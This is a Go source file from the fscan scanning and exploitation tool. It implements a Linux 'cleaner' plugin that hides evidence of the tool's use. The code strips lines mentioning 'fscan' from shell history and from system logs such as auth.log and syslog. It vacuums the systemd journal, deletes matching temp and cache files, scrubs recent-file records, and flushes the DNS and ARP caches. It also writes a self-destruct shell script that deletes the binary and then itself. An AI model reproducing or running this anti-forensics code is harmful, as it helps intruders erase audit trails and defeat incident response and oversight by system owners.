fscan/plugins/local_backup/cleaner/cleaner_linux.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

421 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//go:build linux
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Linux系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理临时文件
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 4. 清理用户缓存
if userCache := p.cleanUserCache(); len(userCache) > 0 {
cleaned = append(cleaned, userCache...)
report["user_cache"] = userCache
}
// 5. 清理最近访问记录
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
cleaned = append(cleaned, recentFiles...)
report["recent_files"] = recentFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".fish_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
// 检查文件是否存在
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
// 读取历史文件
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
// 过滤掉包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话的历史记录
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanLinuxSystemLogs 清理Linux系统日志
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
var cleaned []string
// 系统日志路径
logPaths := []string{
"/var/log/auth.log",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/user.log",
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
// 尝试清理日志中的相关条目
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 清理journal日志如果有权限
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "systemd journal")
common.LogSuccess("已清理systemd journal日志")
}
return cleaned
}
// filterLogFile 过滤日志文件
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
// 检查读写权限
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
// 读取文件内容
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
// 过滤包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanLinuxTempFiles 清理Linux临时文件
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
"/dev/shm",
}
// 用户临时目录
if homeDir := os.Getenv("HOME"); homeDir != "" {
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanUserCache 清理用户缓存
func (p *CleanerPlugin) cleanUserCache() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 缓存目录
cacheDirs := []string{
filepath.Join(homeDir, ".cache"),
filepath.Join(homeDir, ".local", "share"),
}
for _, cacheDir := range cacheDirs {
entries, err := os.ReadDir(cacheDir)
if err != nil {
continue
}
for _, entry := range entries {
entryPath := filepath.Join(cacheDir, entry.Name())
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
}
}
}
}
}
return cleaned
}
// cleanRecentFiles 清理最近访问文件记录
func (p *CleanerPlugin) cleanRecentFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近文件记录路径
recentPaths := []string{
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
filepath.Join(homeDir, ".recently-used"),
filepath.Join(homeDir, ".gtk-bookmarks"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 读取并过滤文件内容
content, err := os.ReadFile(recentPath)
if err != nil {
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存 (systemd-resolved)
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
// 尝试其他DNS清理方法
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
} else {
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
}
} else {
cleaned = append(cleaned, "DNS Cache (systemctl)")
}
// 清理ARP缓存
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/sh", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}